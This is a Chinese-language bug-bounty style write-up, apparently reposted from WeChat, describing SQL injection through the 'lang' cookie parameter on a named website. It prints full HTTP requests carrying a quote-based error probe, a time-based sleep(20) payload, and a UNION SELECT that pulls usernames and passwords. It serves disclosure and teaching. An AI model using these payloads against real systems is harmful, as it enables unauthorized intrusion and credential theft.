通过cookie中的参数所引发的sql注入
2024-8-2 12:30:41 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

前言

在请求的cookie参数中,有一个名为lang的参数存在SQL注入漏洞。

在这个参数中注入一个单引号(')时,会引发SQL语法错误;而注入第二个单引号后,错误会消失。这表明参数中的输入没有正确地进行转义或过滤,从而使得恶意的SQL代码得以执行。

正文

正常情况下和受到攻击时的请求示例:

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1

受到sql注入攻击时候的请求


GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en'; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1

报错如下:

当然也可以使用 查询语句:

'%2b(select*from(select(sleep(20)))a)%2b'

将构造好的查询注入到原始的HTTP请求中,发送给目标服务器。注入点是请求的cookie参数lang:

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en%2b(select*from(select(sleep(20)))a)%2b; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1

发送请求后,观察服务器的响应时间。如果服务器在处理请求时出现明显的延迟(如20秒),则表明注入的查询被服务器执行了。这个时间延迟是由SQL中的SLEEP(20)函数引起的。

确认sql注入存在以后 ,进行漏洞利用

攻击者可以构造各种恶意SQL查询来窃取或修改数据。例如,通过以下查询来窃取用户信息:

' UNION SELECT username, password FROM users --

发送恶意请求 攻击者将恶意查询注入到lang参数中,并发送请求:

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en' UNION SELECT username, password FROM users -- ; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1

攻击者检查服务器的响应,查看是否包含用户数据。如果成功,攻击者就能够获取数据库中的敏感信息。

参考 https://hackerone.com/reports/761304


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495421&idx=1&sn=cab9c266a02b667f0f159c39d72f2017&chksm=e8a5e49edfd26d88d57edaaac281697eda98576366ebb24463bcae07df77964b07bde3a7f3d7&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh